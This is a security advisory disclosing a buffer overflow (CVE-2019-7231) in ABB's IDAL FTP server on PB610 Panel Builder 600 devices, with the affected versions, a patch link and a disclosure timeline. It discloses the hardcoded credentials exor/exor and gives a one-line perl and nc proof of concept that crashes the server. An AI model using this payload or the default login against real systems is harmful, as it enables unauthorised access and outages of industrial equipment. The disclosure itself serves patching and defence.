Share
XL-19-007 - ABB IDAL FTP Server Buffer Overflow Vulnerability  
========================================================================  
  
Identifiers  
-----------  
XL-19-007  
CVE-2019-7231  
ABBVU-IAMF-1902010  
  
  
CVSS Score  
----------  
6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)  
  
  
Affected vendor  
---------------  
ABB (new.abb.com)  
  
  
Credit  
------  
Eldar Marcussen - xen1thLabs - Software Labs  
  
  
Vulnerability summary  
---------------------  
The IDAL FTP server is vulnerable to a buffer overflow where a large string is sent by an authenticated attacker that causes a buffer overflow. This overflow is handled, but terminates the process.  
  
  
Technical details  
-----------------  
An authenticated attacker can send a FTP command string of 472 bytes or more to overflow a buffer causing an exception that terminates the server. An unauthenticated attacker can take advantage of the hardcoded or default credential pair exor/exor to become an authenticated attacker.  
  
  
Proof of concept  
----------------  
```  
perl -e 'print "USER exor\r\nPASS exor\r\n" . "A" x 472 . "\r\n";' | nc targetip 22  
```  
  
Affected systems  
----------------  
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367  
  
Solution  
--------  
Apply the patches and instructions from vendor:  
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch  
  
  
Disclosure timeline  
-------------------  
04/02/2019 - Contacted ABB requesting disclosure coordination  
05/02/2019 - Provided vulnerability details  
05/06/2019 - Patch available  
13/06/2019 - ABB Updated advisory to include this vulnerability  
17/06/2019 - xen1thLabs public disclosure